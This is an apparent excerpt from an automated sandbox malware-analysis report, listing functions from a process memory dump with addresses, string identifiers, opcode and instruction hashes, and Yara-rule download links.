                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: c14a792aa2b04d53db8e7ef8ffd70bbce7622dd91525511241b50353abdfd1f0
                                    • Instruction ID: bf950cc26a0cbbee6a6b2ea6edad2362e5bf7555a3c12085a8197e809cc2446f
                                    • Opcode Fuzzy Hash: c14a792aa2b04d53db8e7ef8ffd70bbce7622dd91525511241b50353abdfd1f0
                                    • Instruction Fuzzy Hash: E3A143B56083418FE711CF28C580A9AFBE6BB88754F11492EE58597350EB34F946CF93
                                    Function 37407703 Relevance: 1.7, APIs: 1, Instructions: 179COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 48ad0c62c562c72a48ec6c0bbafbaa548c9541f12b6a17668e4aefa28473928e
                                    • Instruction ID: 6f3a1519e08c4bc1ad1d4685bd90f570def337d77d11e4bb8bd4b3cb4bf28757
                                    • Opcode Fuzzy Hash: 48ad0c62c562c72a48ec6c0bbafbaa548c9541f12b6a17668e4aefa28473928e
                                    • Instruction Fuzzy Hash: 27616D75A00606EFEB09DF68C580AEDFBB5BF88250F14856ED419A7300DB34B955CF92
                                    Function 3743F603 Relevance: 1.6, APIs: 1, Instructions: 121COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 03dd0b37b504bfdfba0b2e547dd9e4b5ab4c30cdb188a33d6845c160cbf1ba2a
                                    • Instruction ID: fc07784df62fde616ae2983642ec7f7ddb9fed2a244ab7e3c25f14a0614d1e4f
                                    • Opcode Fuzzy Hash: 03dd0b37b504bfdfba0b2e547dd9e4b5ab4c30cdb188a33d6845c160cbf1ba2a
                                    • Instruction Fuzzy Hash: 0C413AB4D01788EFEB10CFA9C880AEDBBF4BB49350F50816EE458A7211D735A956CF61
                                    Function 3740262C Relevance: 1.6, APIs: 1, Instructions: 119timeCOMMON
                                    Download Yara Rule
                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: DebugPrintTimes
                                    • String ID:
                                    • API String ID: 3446177414-0
                                    • Opcode ID: a09584a1113bcb0b37e5759310fdc37fa41912bf142bc877cbc6c0d2b9b4413d
                                    • Instruction ID: f22af45b5d8c8217eb4fd3f1a05dd9f4c8164a1cb97dc27619f0ce48cadf0b3d
                                    • Opcode Fuzzy Hash: a09584a1113bcb0b37e5759310fdc37fa41912bf142bc877cbc6c0d2b9b4413d
                                    • Instruction Fuzzy Hash: 034169B9901700DFD715EF24C944B99B7B6AF89360F1086AEC4069B6A1EB34B942CF52
                                    Function 374807C3 Relevance: 1.6, APIs: 1, Instructions: 114timeCOMMON
                                    Download Yara Rule
                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: DebugPrintTimes
                                    • String ID:
                                    • API String ID: 3446177414-0
                                    • Opcode ID: d6f73432acea4d41be21f1c676c8ba08514c3d662cd2f633673e0cde1272db76
                                    • Instruction ID: 159c4d468e2be71775a74e2c4ff6367ca0172a2542a273ad7f0543b62f6fcc2b
                                    • Opcode Fuzzy Hash: d6f73432acea4d41be21f1c676c8ba08514c3d662cd2f633673e0cde1272db76
                                    • Instruction Fuzzy Hash: FA417172514344AFE320DF24C845B9BB7E8FF88264F004A2EF598D7250D775E955CB92
                                    Function 373FB480 Relevance: 1.6, APIs: 1, Instructions: 100timeCOMMON
                                    Download Yara Rule
                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: DebugPrintTimes
                                    • String ID:
                                    • API String ID: 3446177414-0
                                    • Opcode ID: 67f4a61affdd2796c826585e23cfd5f3d0d22cccafb4d8e3f91542e1eaf76722
                                    • Instruction ID: 95e1bcba10b2840fe70535ca82f452ac2ecde945114854214022711fb7db25d4
                                    • Opcode Fuzzy Hash: 67f4a61affdd2796c826585e23cfd5f3d0d22cccafb4d8e3f91542e1eaf76722
                                    • Instruction Fuzzy Hash: 2D3102F26402049FD311DF24C880A5677A9EF843A4F544269EC589B291DB36FD02CFE1
                                    Function 374057C0 Relevance: 1.6, APIs: 1, Instructions: 92timeCOMMON
                                    Download Yara Rule
                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: DebugPrintTimes
                                    • String ID:
                                    • API String ID: 3446177414-0
                                    • Opcode ID: cc5584ca8e40464fefc3b47205d5495618c19f8445c7893c9104748d78c58bb5
                                    • Instruction ID: edd2e5361c60dee2f8988321d927c547dec2761f939ac4e02592c1016808c5b7
                                    • Opcode Fuzzy Hash: cc5584ca8e40464fefc3b47205d5495618c19f8445c7893c9104748d78c58bb5
                                    • Instruction Fuzzy Hash: B6315976615A09AFE742DB24CA44ED9FBA6FF88754F405429E84087B61DB34F831CF81
                                    Function 37403616 Relevance: 1.6, APIs: 1, Instructions: 84timeCOMMON
                                    Download Yara Rule
                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: DebugPrintTimes
                                    • String ID:
                                    • API String ID: 3446177414-0
                                    • Opcode ID: e9f10d370a0d98dfe30df2bd59663dfff4aaabd7a524833a2b6b692a597aa383
                                    • Instruction ID: 3cbdbb75b528ed02ed96ea258c0532e3d929c60437094ce7a766cd97bbb774b4
                                    • Opcode Fuzzy Hash: e9f10d370a0d98dfe30df2bd59663dfff4aaabd7a524833a2b6b692a597aa383
                                    • Instruction Fuzzy Hash: F821EC392052509FD721AF05C998B9ABFA5FB89B20F42497EE8445B750EB35F804CF82
                                    Function 3748A4B0 Relevance: 1.5, APIs: 1, Instructions: 40timeCOMMON
                                    Download Yara Rule
                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: DebugPrintTimes
                                    • String ID:
                                    • API String ID: 3446177414-0
                                    • Opcode ID: 9645f2881354e3393f7b7fc1e14e72d86e800b17eb1f5d619344e7b11fb0b656
                                    • Instruction ID: 5103ffbfb220d2205d610604adbacb26e0e13971c0a67ff74925b4c2d6fd0202
                                    • Opcode Fuzzy Hash: 9645f2881354e3393f7b7fc1e14e72d86e800b17eb1f5d619344e7b11fb0b656
                                    • Instruction Fuzzy Hash: B201893660024DABCF029E84C940EDA3B66FB4C664F068211FE1866220C676E9B1EB81
                                    Function 373F92FF Relevance: 1.5, APIs: 1, Instructions: 35timeCOMMON
                                    Download Yara Rule
                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: DebugPrintTimes
                                    • String ID:
                                    • API String ID: 3446177414-0
                                    • Opcode ID: d98ba5fde28c9e8c3680a9d36e7273a496681b07ea7c20a398a057525789841b
                                    • Instruction ID: 6e40c26d28af2d197bc633588b80c4b881592c8c2b8749f800775e7b75429a6e
                                    • Opcode Fuzzy Hash: d98ba5fde28c9e8c3680a9d36e7273a496681b07ea7c20a398a057525789841b
                                    • Instruction Fuzzy Hash: ECF09032140644AFD731DF59CD05F9ABBEDEF84750F18051DA54A93190D6A6F909C660
                                    Function 37486420 Relevance: 1.5, Strings: 1, Instructions: 264COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID: 0-3916222277
                                    • Opcode ID: 819eaf89666a76164244ba9c5cdf3b497a41d75650291d02d397eb70422d2de2
                                    • Instruction ID: b56debadb1577342c0a7ddd4052f50dfc7af89c57f7b7db9362ea76b372ad31b
                                    • Opcode Fuzzy Hash: 819eaf89666a76164244ba9c5cdf3b497a41d75650291d02d397eb70422d2de2
                                    • Instruction Fuzzy Hash: 6E916F72940219BFEB11DB94DC85FEE77B8EF49B50F104029F600AB291E775B904DBA2
                                    Function 3743A660 Relevance: 1.4, Strings: 1, Instructions: 200COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: GlobalTags
                                    • API String ID: 0-1106856819
                                    • Opcode ID: 690f67042b9b34618cd8d4223d3c113734eca8c8fcfdd64144e8de870dba5a23
                                    • Instruction ID: c966a7df9faaa43d762975f2a90bab72d2903f09dfd7e63203403f34201b22dc
                                    • Opcode Fuzzy Hash: 690f67042b9b34618cd8d4223d3c113734eca8c8fcfdd64144e8de870dba5a23
                                    • Instruction Fuzzy Hash: 4F7139B9E0134ACFEB18CF99C5907DDBBB2BF48790F10852EE415AB340DB35A9018B51
                                    Function 3740973A Relevance: 1.4, Strings: 1, Instructions: 191COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: @
                                    • API String ID: 0-2766056989
                                    • Opcode ID: 32fdc9af89b0788a3bba97dbd317d7b10cd0208f20562fc1281393ba3f626ce3
                                    • Instruction ID: c48bf95b1d296a36c491b5754d24d55d25f92cad03d594f317cb10c58b3e5ae1
                                    • Opcode Fuzzy Hash: 32fdc9af89b0788a3bba97dbd317d7b10cd0208f20562fc1281393ba3f626ce3
                                    • Instruction Fuzzy Hash: F3615BB6D11219ABEB11CF95C844BEEBBB4FF84764F104629E810A7390D778AA05CF61
                                    Function 3748F7AF Relevance: 1.4, Strings: 1, Instructions: 161COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: @
                                    • API String ID: 0-2766056989
                                    • Opcode ID: 8281e956446473216ed512d18dfae26456dfb93296f0f4edbd2d8efa18977056
                                    • Instruction ID: 2fce597d39eabbe88e73402ca74450cf53876617391ed0097b1f0d593bbf63c3
                                    • Opcode Fuzzy Hash: 8281e956446473216ed512d18dfae26456dfb93296f0f4edbd2d8efa18977056
                                    • Instruction Fuzzy Hash: 7A517AB2514749FFE7118F54C840FAAB7E8FB89760F40092DB58497290EB75F904CB92
                                    Function 3741E627 Relevance: 1.4, Strings: 1, Instructions: 148COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: EXT-
                                    • API String ID: 0-1948896318
                                    • Opcode ID: acdf205330eae3a013695e941e914823e12c75038137ca543c790823fea231a2
                                    • Instruction ID: 84b4bb0b0009576b5f04530433913cafe364b0b30d8ef8c828ea2917a9064f30
                                    • Opcode Fuzzy Hash: acdf205330eae3a013695e941e914823e12c75038137ca543c790823fea231a2
                                    • Instruction Fuzzy Hash: B9416EBA5083219BE710EA65C840BABB7E8AF88755F40492DF594D7240EB78F9058793
                                    Function 374BB256 Relevance: 1.4, Strings: 1, Instructions: 130COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: PreferredUILanguages
                                    • API String ID: 0-1884656846
                                    • Opcode ID: bf116b217d43fd455775a30538ae13caf22148108801cc9c7d596ea8588a1a3c
                                    • Instruction ID: d21c1e8c64cc29b49fd23c13359567426eb71ac3e8721eb7370e08680363f7db
                                    • Opcode Fuzzy Hash: bf116b217d43fd455775a30538ae13caf22148108801cc9c7d596ea8588a1a3c
                                    • Instruction Fuzzy Hash: 4A41C676D00219ABDF21DAD4C840BEEB7B9EF84760F41056AE881A7750DA34FE44CBB1
                                    Function 3747C730 Relevance: 1.4, Strings: 1, Instructions: 129COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: BinaryHash
                                    • API String ID: 0-2202222882
                                    • Opcode ID: 4f87b5b3e42746636f904da699776515c6511f5b122a33076676b43e9b9e7de7
                                    • Instruction ID: a53f3f48b093e6cdb4cc4eabd5fa1138ce8bdde6c5282182222e50d1a60f8d3b
                                    • Opcode Fuzzy Hash: 4f87b5b3e42746636f904da699776515c6511f5b122a33076676b43e9b9e7de7
                                    • Instruction Fuzzy Hash: CC4166B1D0056CABDB21CA50DC80FDEB77CAF45714F0185A9EA18AB140DB74AE89CF95
                                    Function 3742A470 Relevance: 1.4, Strings: 1, Instructions: 127COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: @3O7
                                    • API String ID: 0-1394682413
                                    • Opcode ID: b89c3f94b9444faf45bd76b95c328aa76ecc55b4d863d6d24311af80490efcf4
                                    • Instruction ID: 249e3d17ac5ca5a44411a1c73e6b3ed800a3d3660d2a20780b708c2d185635a2
                                    • Opcode Fuzzy Hash: b89c3f94b9444faf45bd76b95c328aa76ecc55b4d863d6d24311af80490efcf4
                                    • Instruction Fuzzy Hash: E9419F76A84314CFDB01CF68C8907EA77B0BB48364F410599DC14B7391DB38B9A2EBA5
                                    Function 374897A9 Relevance: 1.4, Strings: 1, Instructions: 121COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: verifier.dll
                                    • API String ID: 0-3265496382
                                    • Opcode ID: 7ba1adf81141761dabea4fb787e629ccb4f4d83eb593fbbb5a1c7cecb3f6526b
                                    • Instruction ID: 7b21a922f8d23b8287f91b2cce24048e3c9e748dd2a6ac2a1964ac81cff14ba6
                                    • Opcode Fuzzy Hash: 7ba1adf81141761dabea4fb787e629ccb4f4d83eb593fbbb5a1c7cecb3f6526b
                                    • Instruction Fuzzy Hash: FC31C7F5B10706BFD7148F28D851BA6B7E5EB48360F91843AE504DF381E636EC818B90
                                    Function 37437505 Relevance: 1.4, Strings: 1, Instructions: 111COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: #
                                    • API String ID: 0-1885708031
                                    • Opcode ID: 4bc324cfbfa2083798c26090082f3552f5e90ae9522e24348f396a2005f93b47
                                    • Instruction ID: 33f8837af4dee01f61521cfe3ce0a47b537a6489869070b5b95b2d6b992e82aa
                                    • Opcode Fuzzy Hash: 4bc324cfbfa2083798c26090082f3552f5e90ae9522e24348f396a2005f93b47
                                    • Instruction Fuzzy Hash: 2E41D179A01216EBEB168F48C990BFEB7B4EF88351F01445EE88997700DB34F951CBA1
                                    Function 374336EF Relevance: 1.4, Strings: 1, Instructions: 106COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: Flst
                                    • API String ID: 0-2374792617
                                    • Opcode ID: 3724a92e7cc7c4157e3955f3038acb14bd0564f27afdcc666e408c9598731161
                                    • Instruction ID: d9c16e9add043621a10fb1c775a67259d80ed3eacddda005159fc92bfa794168
                                    • Opcode Fuzzy Hash: 3724a92e7cc7c4157e3955f3038acb14bd0564f27afdcc666e408c9598731161
                                    • Instruction Fuzzy Hash: 8C417BB56063019FE304CF19C480AA6FBE4EF8E761F54856EE4598B241EB31E952CB92
                                    Function 3743D530 Relevance: 1.3, Strings: 1, Instructions: 85COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: gO7
                                    • API String ID: 0-2845518358
                                    • Opcode ID: f987fb69a7e287d6411d056b898a807b91ed822d537cdeecd8eef33efed7b8df
                                    • Instruction ID: da40a1e926cda31e2851a1a50706565f17b6e61d79f6755a5b3893b104531f54
                                    • Opcode Fuzzy Hash: f987fb69a7e287d6411d056b898a807b91ed822d537cdeecd8eef33efed7b8df
                                    • Instruction Fuzzy Hash: C62129B26453409BE710EB64C940FC677ECAF89654F00082EF928E7650EB38F911CBA3
                                    Function 3745739A Relevance: .7, Instructions: 705COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 207f8af7225ecf6e6b4b18e287f5e242fb736b33c688b4236d1de5cae9d91a68
                                    • Instruction ID: 13fe668733e628bbd87fc4174130b3d9c8d999e581134331e471adeb68c5bf92
                                    • Opcode Fuzzy Hash: 207f8af7225ecf6e6b4b18e287f5e242fb736b33c688b4236d1de5cae9d91a68
                                    • Instruction Fuzzy Hash: AA428B75A006169FEB0ACF59C580AEEB7B2FF89364F14856DD855AB340DB34F842CB90
                                    Function 374C16CC Relevance: .6, Instructions: 571COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
